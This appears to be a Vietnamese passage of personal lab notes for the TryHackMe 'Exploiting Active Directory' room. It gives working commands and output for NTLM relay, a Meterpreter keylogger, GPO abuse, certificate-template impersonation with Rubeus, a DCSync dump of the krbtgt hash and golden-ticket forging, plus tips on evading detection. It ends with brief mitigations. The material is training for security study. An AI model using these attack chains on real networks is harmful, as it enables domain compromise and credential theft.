thực hiện xác thực với attacker machine và sử dụng ntlmrelayx.py của Impacket để chuyển tiếp việc xác thực đến THMSERVER1
.
Thiết lập NLTM relay ở trên attacker machine:
thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug
Nếu chúng ta sử dụng hostname của `THMSERVER1` thay vì địa chỉ IP thì giao thức Kerberos sẽ được sử dụng thay vì NLTM.
Ép THMSERVER2
xác thực với THMSERVER1
thông qua relayer là attacker machine:
C:\Tools\>SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"
Thực hiện câu lệnh trên ở THMWRK1
.
Nếu thành công, chúng ta sẽ nhận được một nỗ lực xác thực từ THMSERVER2
cũng như là kết quả relay đến THMSERVER1
:
thm@thm:~# python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.31.1.202, attacking target smb://172.31.1.201
[*] Authenticating against smb://172.31.1.201 as ZA/THMSERVER2$ SUCCEED
[+] No more targets
[*] SMBD-Thread-7: Connection from 172.31.1.202 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8: Connection from 172.31.1.202 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] ExecuteRemote command: %COMSPEC% /Q /c echo whoami /all ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[*] Executed specified command on host: 172.31.1.201
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
[...]
Output trên cho ta thấy kết quả của việc thực thi câu lệnh whoami /all
ở trên THMSERVER1
.
AD Users
Để khai thác các AD user, chúng ta có thể sử dụng 2 cách tấn công sau:
- Keylogger
- Credential Management
Keylogger
Đối với keylogger, ta cần đảm bảo rằng shell được chạy dưới danh nghĩa của một user bất kỳ thay vì của SYSTEM bởi vì tài khoản này sẽ không gõ bất cứ thứ gì.
Sau khi xâm phạm được một host với một meterpreter shell, ta sẽ kiểm tra xem có bất kỳ tiến trình của người dùng nào tồn tại ở trên host hay không:
meterpreter\>ps | grep "explorer"
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
3612 3592 explorer.exe x64 1 THMSERVER1\trevor.local C:\Windows\explorer.exe
Nếu may mắn tìm được, ta sẽ dùng tính năng migrate của meterpreter để chuyển đổi ngữ cảnh sang của user đang chạy tiến trình đó:
meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.
Sử dụng getuid
để xác nhận là ta đã chuyển đổi ngữ cảnh thành công:
meterpreter\>getuid
Server username: THMSERVER1\trevor.local
Sử dụng keylogger của Meterpreter thông qua câu lệnh keyscan_start
meterpreter\>keyscan_start
Starting the keystroke sniffer ...
Chờ một khoảng thời gian để keylogger capture được các credential mà người dùng nhập vào. Sau đó, sử dụng lệnh keyscan_dump
để hiển thị các phím mà người dùng đã bấm:
meterpreter\>keyscan_dump
Thu được password như sau:
title: Password
Imreallysurenoonewillguessmypassword
Credential Management
Sau khi xâm phạm THMSERVER1
, chúng ta sẽ tìm thấy được một file có extension là .kdbx
. Đây là file chứa credential của phần mềm Keepass. Tất nhiên, nó được mã hóa bởi một mật khẩu ban đầu và cũng chính là mật khẩu mà ta capture được thông qua keylogger.
Sử dụng KeePassX (ở trên Linux) để mở file và đọc flag:
title: Flag
THM{AD.Users.Can.Give.Up.Good.Secrets}
Ngoài flag thì còn có một password như sau:
title: Password
Sup3rStr0ngPass!@
GPOs
Group Policy Objects
GPO là một tập các chính sách cài đặt và được lưu trữ ở thư mục SYSVOL để có thể được sao chép cho tất cả các domain-joined machine. Mỗi GPO có một tên duy nhất được gọi là GUID và đây là lý do mà thư mục SYSVOL thường chứa những cái tên ngẫu nhiên.
Mỗi máy có một Local Policy Configuration. Một số cấu hình nổi bật thuộc về Local Policy Configuration:
- Cấu hình cho các service chẳng hạn như Firewall, AV và Applocker.
- Cấu hình cho các nhóm user cục bộ chẳng hạn như Administrator hoặc Remote Desktop Users.
- Cấu hình startup chẳng hạn như các script mà sẽ được thực thi khi máy vừa khởi động.
- Cấu hình liên quan đến bảo mật và giao thức chẳng hạn như SMBv1.
Group Policy Management
Nếu chỉ có một máy thì việc quản lý Local Policy Configuration là đơn giản vì chúng ta có thể thay đổi trực tiếp ở trên máy đó. Tuy nhiên, đối với các tổ chức lớn thì ta cần có một cách để triển khai các cấu hình cho nhiều máy. Và đó chính là chức năng của Group Policy Management (GPM).
Với GPM, thay vì định nghĩa các chính sách cục bộ cho từng máy, chúng ta có thể định nghĩa các chính sách cho từng object của AD chẳng hạn như cho một OU hoặc một nhóm cụ thể. Các domain-joined machine sẽ đồng bộ và áp dụng các chính sách từ SYSVOL theo chu kỳ. Theo mặc định, các chính sách sẽ được sao chép cho các máy mỗi 15 phút thông qua chương trình gpupdate
. Mặc dù vậy, chúng ta cũng có thể thực thi chương trình này thông qua CMD để áp dụng các chính sách một cách thủ công và ngay lập tức.
Exploiting
Mật khẩu Sup3rStr0ngPass!@
mà ta tìm được trong Credential Management thuộc về một user có tên là svcServMan
.
Sử dụng BloodHound để tìm hiểu về user này:
User này có quyền chỉnh sửa một Group Policy Object (GPO) có tên là Management Server Pushes và GPO này được áp dụng cho THMSERVER2
:
Ta sẽ tận dụng điều này để thêm nhóm IT Support (có chứa một tài khoản thông thường mà ta đã thêm vào ở Permission Delegation) vào Management Server Pushes rồi khai báo nó thuộc nhóm Administrator và Remote Desktop Users. Bằng cách này, nhóm IT Support sẽ có quyền quản trị cũng như là RDP ở trên THMSERVER2
.
Hiển nhiên, chúng ta có thể RDP vào THMSERVER1
bằng tài khoản của svcServMan
nhưng điều này sẽ khiến cho session đang được sử dụng bị kết thúc và dấy lên sự nghi ngờ từ blue team. Thay vào đó, chúng ta sẽ RDP vào THMWRK1
bằng tài khoản thông thường hoặc tài khoản của một Tier 2 Admin rồi inject credential của svcServMan
vào bộ nhớ thông qua chương trình runas
và mở MMC để chỉnh sửa GPO.
Chạy lệnh runas
như sau:
C:\>runas /netonly /user:za.tryhackme.loc\<AD Username> cmd.exe
Cụ thể:
Liệt kê SYSVOL để đảm bảo rằng mật khẩu của svcServMan
mà ta nhập vào là đúng cũng như là sử dụng klist
để kiểm tra ngữ cảnh của user hiện tại đang chạy CMD:
Kế đến, chạy MMC thông qua CMD dưới danh nghĩa của svcServMan
.
Thêm vào MMC một snap-in có tên là Group Policy Management thông qua “File” ⇾ “Add/Remove Snap-in” rồi chọn chỉnh sửa Management Server Pushes:
Khai báo nhóm IT Support thuộc nhóm Administrator và Remote Desktop Users như sau:
Chờ 15 phút để GPO được áp dụng và sau đó thì tất cả các tài khoản thuộc nhóm IT Support đều có quyền quản trị cũng như là RDP ở trên THMSERVER2
.
RDP vào THMSERVER2
bằng một tài khoản ở trong IT Support:
xfreerdp /u:donald.ross /p:Changeme123 /v:10.200.60.202
connected to 10.200.60.202:3389
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: CERTIFICATE NAME MISMATCH! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
The hostname used for this connection (10.200.60.202)
does not match the name given in the certificate:
Common Name (CN):
THMSERVER2.za.tryhackme.loc
A valid certificate for the wrong name should NOT be trusted!
Certificate details:
Subject: CN = THMSERVER2.za.tryhackme.loc
Issuer: CN = THMSERVER2.za.tryhackme.loc
Thumbprint: cb:b1:2e:68:95:8f:5e:84:4f:39:b1:16:a1:f7:61:a4:2f:ca:81:56
The above X.509 certificate could not be verified, possibly because you do not have the CA certificate in your certificate store, or the certificate has expired. Please look at the documentation on how to create local certificate store for a private CA.
Do you trust the above certificate? (Y/N) Y
Flag nằm trong Desktop của Administrator
:
THM{Exploiting.GPOs.For.Fun.And.Profit}
Certificates
AD Certificate Services
Là một hiện thực của Public Key Infrastructure (PKI) bởi Microsoft. Nó được sử dụng như là một CA cho nhiều tác vụ chẳng hạn như mã hóa hệ thống tập tin, tạo và xác thực chữ ký số hoặc thậm chí là xác thực user.
AD CS là một chức năng đòi hỏi đặc quyền nên nó chỉ có thể chạy trên một số DC được chỉ định và do đó mà các user thông thường không thể tương tác với nó một cách trực tiếp.
Với một tổ chức rộng lớn, quản trị viên không thể tạo và phân phối các certificate một cách thủ công mà cần sử dụng đến các certificate template. Những user mà được cấp quyền có thể tự request một certificate bằng cách truyền giá trị vào các tham số của các certificate template.
Nhóm nghiên cứu SpecterOps chỉ ra rằng bằng cách kết hợp các tham số một cách cụ thể, chúng ta có thể thực hiện leo quyền hoặc duy trì truy cập (persistence).
Finding Vulnerable Certificate Templates
Để tìm các vulnerable template, chúng ta có thể dùng một công cụ có sẵn của Windows là certutil
:
C:\>certutil -Template -v > templates.txt
Ngoài ra, chúng ta cũng có thể sử dụng công cụ PSPKIAudit của Ghostpack để tìm.
Các kết hợp tham số mà ta cần tìm:
- Client Authentication - Certificate có thể được sử dụng cho việc xác thực client.
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - Certificate template cho phép chỉ định Subject Alternative Name (SAN).
- CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - Certificate có thể được export cùng với private key.
- Certificate Permissions - Ta có đủ các quyền cần thiết để sử dụng certificate template.
Template 32 là một vulnerable template.
Template này cho phép machine account của THMSERVER2
cấp CSR2 cho một template mà ta có thể chỉ định Subject Alternative Name (SAN) cũng như là có thể được sử dụng cho việc xác thực client.
User Impersonation Through a Certificate
Sử dụng MMC để request template thông qua một snap-in có tên là “Certificates” (nhớ chọn option “Computer Account” và “Local Computer”).
Chuột phải vào mục “Personal” ở trong snap-in rồi chọn “All Tasks”⇾ “Request New Certificate…“. Sau đó, chọn
- ”Subject name Type” là “Common Name” với giá trị tùy ý.
- ”Alternative name Type” là “User principle name” (UPN). Giá trị của UPN là AD account mà ta muốn giả mạo (có thể là
Administrator@za.tryhackme.loc
).
Minh họa:
Sau đó, chọn certificate mà ta vừa tạo rồi click “Enroll”.
Kế đến, export certificate cùng với private key. Do private key không thể được export mà không có password, chúng ta cung cấp cho nó một password tùy ý.
Sau khi export certificate và private key thì ta có thể sử dụng chúng để mạo danh người dùng mà ta đã chỉ định ở trường UPN. Để thực hiện điều này, ta cần làm 2 bước sau:
- Sử dụng certificate để yêu cầu một Kerberos TGT.
- Nạp TGT vào bộ nhớ.
Đối với bước đầu tiên, ta sẽ sử dụng Rubeus:
C:\Tools>.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:1337 /outfile:administrator.createdbyhannah.kirbi /domain:za.tryhackme.loc /dc:10.200.60.101
Giải thích một số option:
/user
: chỉ định user cần giả mạo và cần phải khớp với UPN ở trong certificate mà ta đã tạo ra./enctype
: loại mã hóa của ticket. Option này quan trọng trong việc né tránh sự phát hiện của blue team bởi vì thuật toán mã hóa mặc định là rất yếu và có thể gây ra cảnh báo liên quan đến tấn công overpass-the-hash./dc
: địa chỉ IP của DC. Tốt nhất là DC đang chạy dịch vụ CA.
Kết quả khi chạy:
C:\Tools>.\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:1337 /outfile:administrator.createdbyhannah.kirbi /domain:za.tryhackme.loc /dc:10.200.60.101
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=1337
[*] Building AS-REQ (w/ PKINIT preauth) for: 'za.tryhackme.loc\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIGDDCCBgigAwIBBaEDAgEWooIFADCCBPxhggT4MIIE9KADAgEFoRIbEFpBLlRSWUhBQ0tNRS5MT0Oi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEHphLnRyeWhhY2ttZS5sb2OjggSwMIIErKADAgESoQMCAQKiggSe
BIIEmv2xGsTq8tyO4DXv//DBrO4wOC5wS4ANTO8z5NxzvHUJv9YJryR6MWBbV4IxD8c6SBWpEZVJ3aee
dVuaBmbvdxgYbqyS3Q1wyqGLvL8WHrZvRaSVX+M/DWpWG0/kbMUc192Xh4NF3O9bJYUxBCiKwSZvaXc4
xcCvwgZM1uefDGT/ThZN+9TikHZQ5Yy4Kjs1YOYDeFxQLrBE0jibc3P5G5vSTDvp9GmOjpJbki8ICDA6
wmz5e63ttDO83JPo05RqoZJOadz001gOQh+5gNJYDvVymuDR0ibzg1fpgR4IDzGiOoynSXlAMfWxaZZO
bwVorFDF+fxYtD6uNOq0DRfzdQ0n6XRx0HssTyp4PMDQgA4Y16AAI5UnEazaz0qrU5p1UgoQ8ErXzyxm
UQS6zkJGuCMUppw3AbINRcUXMmAP7/v033Qf1m5NmgFUoVQBVWiUoBQfcDf/Rcbjmu1JpIIbTlqKnS78
kxmr6Yke1ac1/eGNq0vetUxz2W22/MlLTqhKyGjjX441OZtjrP3dZNtWo5AcT0UccVimuSt7mq1Nolm/
3OHVOozhI94oK2nClp+6hafFZlC+nlxIRF/74PswC27q7mIxgsYfj89/b77J/kLqEs/arjoaqKDQldBp
7HDA5mhQPFaPRRBvr+zmU56MGgvXgHsMDTrbABzyxMHIRucM5aIUjyfZioB160fheCsfuYc+ulmF373y
m9Uh+VwBobNUgg09hCR5Z3+9zts0cwxkp8ig7hvZwKq62ylHOYqUWlN92Hy9NzDL9JzX4+68rYWSwNoL
4K6p2xnBAc529rvv4H1UvTFgQW6ZWWqNigdYNgMeeywdRdUkkhBQzHURRTQVDmcmMCQJZF6wDjyAqmpa
HKlu8OyIFVfI1V/7vI2j1rj5cqQhD7jxVcBCtMtwUF5+5/+fzKa4VUPLRX9prRpsFWK5igfV5ZOSC5nT
bLhoVK7X2Dkwm3bcKPk2Xo4xKytjMjoaGVjyAAmvxDe7erlDfKBIFGDKXTzBgBYwARSWRcbURHOFO6ME
hsLR74DfLBnOcOrrBaHasisrcU1Kpc5LBJoHmvwyLvqk1GphVbhO7DVnmb2p6EclYm1UfZLefAu338Dt
VHDnE80OePFaKWXdJSN+hUAd8MYb2mfVYbrz+mQhJF/Qq6vX3+ZPk17Q4LMMrh8t4NS4LpBdz8agVLAa
MkreNdUa6YwmFKdOOCfmeVZS9Cu3DCfygeqQHbYGZxXFDKMRHGuDCbwkHoj2aEYSZ2Ak1rLURO5JTRJF
zRTC54q9ki6AziLtwArdHCJ0FPSp06+lT793DkjKcpw+1rnvh6IP5XrKhiE/OQ+pPGmQxRRb+V0r17bP
iIZ6bz52NNnPo4z+D+w43cpRftqz/rnP4no8ssjU/dICi1RCkYxiYS6DJWBz0Il52N/sC0CP/GprYmQU
7++GLJyqW73R8dZFwU8+m9TAeOJRcWNOSlNKV3gBi93ncyJdGbIRgyaskNSpsgZlV0yuWE/MfSdq0p1h
s5I8QYll9WVvoGj62MUbYSLxURAOeD904wqTh8Ztmha1NNb4tsUWKt8Zo4H3MIH0oAMCAQCigewEgel9
geYwgeOggeAwgd0wgdqgKzApoAMCARKhIgQgDjSVCqLpxPVNxk1+tt1gqgyI6rsYInp950xBuVwU5cih
EhsQWkEuVFJZSEFDS01FLkxPQ6IaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgP
MjAyNDEwMTIwNTQ4NTlaphEYDzIwMjQxMDEyMTU0ODU5WqcRGA8yMDI0MTAxOTA1NDg1OVqoEhsQWkEu
VFJZSEFDS01FLkxPQ6klMCOgAwIBAqEcMBobBmtyYnRndBsQemEudHJ5aGFja21lLmxvYw==
[*] Ticket written to administrator.createdbyhannah.kirbi
ServiceName : krbtgt/za.tryhackme.loc
ServiceRealm : ZA.TRYHACKME.LOC
UserName : Administrator
UserRealm : ZA.TRYHACKME.LOC
StartTime : 10/12/2024 6:48:59 AM
EndTime : 10/12/2024 4:48:59 PM
RenewTill : 10/19/2024 6:48:59 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : DjSVCqLpxPVNxk1+tt1gqgyI6rsYInp950xBuVwU5cg=
ASREP (key) : 50DCC7AD1199DCCABBFC49C98EC0E7B924810DDF326EED0565F92BA943DDB015
Sử dụng Mimikatz để nạp TGT vừa tạo:
mimikatz # kerberos::ptt administrator.createdbyhannah.kirbi
* File: 'administrator.createdbyhannah.kirbi': OK
mimikatz # exit
Bye!
C:\Tools>klist
Current LogonId is 0:0xd6765
Cached Tickets: (1)
#0> Client: Administrator @ ZA.TRYHACKME.LOC
Server: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 10/12/2024 6:48:59 (local)
End Time: 10/12/2024 16:48:59 (local)
Renew Time: 10/19/2024 6:48:59 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
Truy cập đến Desktop của local Administrator ở trên THMDC
để lấy flag:
C:\Tools>type \\THMDC.za.tryhackme.loc\c$\Users\Administrator\Desktop\flag5.txt
THM{AD.Certs.Can.Get.You.DA}
THM{AD.Certs.Can.Get.You.DA}
Domain Trusts
Là một cơ chế cho phép các user truy cập vào các tài nguyên ở một domain khác trong cùng một forest.
Sự tin cậy (trust) thường được thiết lập giữa các domain trong một forest để các domain này có thể giao tiếp với nhau. Tuy nhiên, trong một số trường hợp, trust còn có thể được mở rộng để kết nối với các domain hoặc forest bên ngoài.
Có hai loại trust có thể được cấu hình giữa các domain:
- Directional trust (tin cậy định hướng): Trust có chiều từ domain tin cậy (trusting domain) đến domain được tin cậy (trusted domain), chỉ áp dụng cho hai domain cụ thể.
- Transitive trust (tin cậy chuyển tiếp): Trust được thiết lập thông qua một domain trung gian. Ví dụ, trong một forest có một domain chính (parent domain) và hai domain con (child domains). Giả sử không có trust trực tiếp giữa hai domain con, nhưng cả hai đều thiết lập trust với domain chính. Do trust giữa parent và child domain là hai chiều (bidirectional), nên hai child domain này cũng có thể tin cậy lẫn nhau một cách gián tiếp.
Chúng ta có thể khai thác transitive trust nhằm xâm phạm parent domain nếu đã xâm phạm được một child domain.
KRBTGT and Golden Tickets
KRBTGT là một service account của dịch vụ Kerberos Distribution Center (KDC), giúp xử lý tất cả các yêu cầu liên quan đến ticket. Cụ thể hơn, KRBTGT được sử dụng để mã hóa và ký tất cả các Kerberos ticket có trong domain.
Golden ticket là TGT mà ta tự tạo ra mà không thông qua KDC. Để có thể tạo ra golden ticket thì ta cần các thông tin sau:
- FQDN (Full Qualified Domain Name) của domain
- Security Identifier (SID) của domain
- Username của account mà ta muốn mạo danh
- Password hash của KRBTGT
Dễ dàng có được 3 thông tin đầu nhưng thông tin cuối thì chỉ có được nếu chúng ta xâm phạm được toàn bộ domain do nó được lưu ở domain controller.
Do chúng ta đã xâm phạm được DC ở User Impersonation Through a Certificate nên ta có thể trích xuất được password hash của KRBTGT từ THMSERVER2
thông qua Mimikatz bằng cách sử dụng DCSync:
mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID : 502
Credentials:
Hash NTLM: 16f9af38fca3ada405386b3b57366082
ntlm- 0: 16f9af38fca3ada405386b3b57366082
lm - 0: 35c7b671efe40860dc078afd2786c902
Inter-Realm TGTs
Với password mà ta đã trích xuất, ta có thể tạo ra một TGT dùng để truy cập vào bất kỳ tài nguyên nào ở trong child domain. Tuy nhiên, ta sẽ tạo ra một Inter-Realm TGT để có thể truy cập vào các tài nguyên ở trong các domain khác cùng forest.
Cụ thể hơn, chúng ta sẽ thêm các extra SID của các nhóm từ các domain khác khi tạo Inter-Realm TGT. Mimikatz có thể hỗ trợ việc này bằng cách cấu hình mục ExtraSids
trong cấu trúc KERB_VALIDATION_INFO
bên trong TGT. Mục ExtraSids
này là một con trỏ đến một danh sách các cấu trúc KERB_SID_AND_ATTRIBUTES
, chứa SID của các nhóm thuộc các domain khác.
Điểm mấu chốt là chúng ta sẽ khai thác mối quan hệ tin cậy hai chiều (bidirectional trust) giữa parent domain và child domain để thêm SID của nhóm Enterprise Admins (EA) vào golden ticket như một extra SID. Nhóm Enterprise Admins thuộc về parent domain và các thành viên của nhóm này có quyền quản trị trên toàn bộ forest. SID mặc định của nhóm này là S-1-5-21-<RootDomain>-519
.
Trước khi thực hiện, chúng ta cần tìm hai SID:
- SID của
THMDC
, là domain controller của child domain mà chúng ta sẽ giả mạo. - SID của nhóm Enterprise Admins trong parent domain, để thêm vào TGT như một extra SID.
Để có thể tìm các SID trên, ta có thể sử dụng các cmdlet của AD-RSAT:
PS C:\Users\hannah.williams> Get-ADComputer -Identity "THMDC"
DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName : THMDC.za.tryhackme.loc
Enabled : True
Name : THMDC
ObjectClass : computer
ObjectGUID : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName : THMDC$
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :
PS C:\Users\hannah.williams> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory : Security
GroupScope : Universal
Name : Enterprise Admins
ObjectClass : group
ObjectGUID : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName : Enterprise Admins
SID : S-1-5-21-3330634377-1326264276-632209373-519
Exploiting
Sử dụng Mimikatz để tạo ra golden ticket:
mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
User : Administrator
Domain : za.tryhackme.loc (ZA)
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service : krbtgt
Lifetime : 10/12/2024 12:16:59 PM ; 10/10/2034 12:16:59 PM ; 10/10/2034 12:16:59 PM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session
Trước tiên, ta cần xác nhận rằng ticket này là hợp lệ bằng cách dùng nó để truy cập vào THMDC
:
C:\Tools>dir \\thmdc.za.tryhackme.loc\c$
Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmdc.za.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
05/01/2022 09:11 AM 169 dns_entries.csv
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
11/02/2023 07:55 PM <DIR> PSTools
11/02/2023 07:54 PM 5,282,424 PSTools.zip
10/12/2024 12:15 PM 0 temp.txt
05/01/2022 09:17 AM 1,725 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
11/02/2023 07:51 PM <DIR> Tools
09/10/2024 02:26 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
5 File(s) 5,284,421 bytes
9 Dir(s) 51,372,138,496 bytes free
Sau đó là truy cập vào parent domain controller:
C:\Tools>dir \\thmrootdc.tryhackme.loc\c$\
Volume in drive \\thmrootdc.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9
Directory of \\thmrootdc.tryhackme.loc\c$
01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
05/01/2022 08:42 AM 31 root_dns_entries.csv
05/01/2022 09:07 AM 1,767 thm-network-setup-dc.ps1
04/25/2022 05:50 PM <DIR> tmp
04/27/2022 07:54 AM <DIR> Users
04/25/2022 05:50 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 06:29 PM <DIR> Windows
3 File(s) 1,901 bytes
7 Dir(s) 51,515,289,600 bytes free
Đọc flag có ở parent domain:
C:\Tools>type \\thmrootdc.tryhackme.loc\c$\Users\Administrator\Desktop\flag6.txt
THM{Full.EA.Compromise}
THM{Full.EA.Compromise}
Mitigations
- Đảm bảo rằng các account có tier thấp không được tương tác với các tài nguyên ở tier cao. Đồng thời, các account ở tier cao không bao giờ được đăng nhập vào các tài nguyên ở tier thấp.
- Đối với permission delegation, đảm bảo rằng các object ở tier thấp không thể chỉnh sửa các object ở tier cao.
- SMB nên được ép buộc nhằm ngăn chặn credential relay.
Related
list
from outgoing([[Exploiting Active Directory]])
sort file.ctime asc
Resources
- TryHackMe | Exploiting Active Directory
- Certified Pre-Owned. Active Directory Certificate Services… | by Will Schroeder | Posts By SpecterOps Team Members
Footnotes
-
xem thêm Lateral Movement and Pivoting ↩